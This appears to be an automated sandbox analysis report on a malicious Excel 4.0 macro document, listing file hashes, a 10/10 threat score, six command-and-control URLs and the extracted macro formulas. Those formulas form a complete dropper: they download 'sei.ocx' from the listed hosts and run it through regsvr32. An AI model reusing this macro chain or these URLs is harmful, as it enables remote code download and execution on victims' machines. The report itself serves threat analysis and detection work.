e8c70cecb953dd7bf1c692e60f4463513eac96801d8371a204a6ce5f39313bf0

General

Target

e8c70cecb953dd7bf1c692e60f4463513eac96801d8371a204a6ce5f39313bf0
Size

46KB
Sample

241120-2kfzcszjej
MD5

e06cc726179fccf051b3636fd37225a3
SHA1

eb2570cc765ba76421ea4d3e1c99388c118d1c85
SHA256

e8c70cecb953dd7bf1c692e60f4463513eac96801d8371a204a6ce5f39313bf0
SHA512

7ce412239c02bad29f3bda98f5fe66d0fe39f64122308971a92ef152d1f3d6924597be422ee299448785d2d80d55a7af790facbed8f2f08960b8f1e38531f089
SSDEEP

768:Hb1o2ODOevZCwrvtbzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfPst2:Hb1o1D/tT5fTR4Lh1NisFYBc3cr+UqVX

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://splitmon.com/mdbt/I3kw1HNHPchicDI/

http://www.dancesportnation.com/wp-content/4Ac8YZEIIV/

http://www.beholdpublications.com/home/Bnn6j/

http://spbtorg.com/vzgsz/uq4fosqbjwAM5rnw5m/

http://explorationit.com/screwing/KxxgEpfAvBsXjmQ/

http://vipwatchpay.com/Isoetales/0LYzkIW/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://splitmon.com/mdbt/I3kw1HNHPchicDI/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.dancesportnation.com/wp-content/4Ac8YZEIIV/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.beholdpublications.com/home/Bnn6j/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://spbtorg.com/vzgsz/uq4fosqbjwAM5rnw5m/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://explorationit.com/screwing/KxxgEpfAvBsXjmQ/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipwatchpay.com/Isoetales/0LYzkIW/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://splitmon.com/mdbt/I3kw1HNHPchicDI/

xlm40.dropper

http://www.dancesportnation.com/wp-content/4Ac8YZEIIV/

xlm40.dropper

http://www.beholdpublications.com/home/Bnn6j/

xlm40.dropper

http://spbtorg.com/vzgsz/uq4fosqbjwAM5rnw5m/

xlm40.dropper

http://explorationit.com/screwing/KxxgEpfAvBsXjmQ/

xlm40.dropper

http://vipwatchpay.com/Isoetales/0LYzkIW/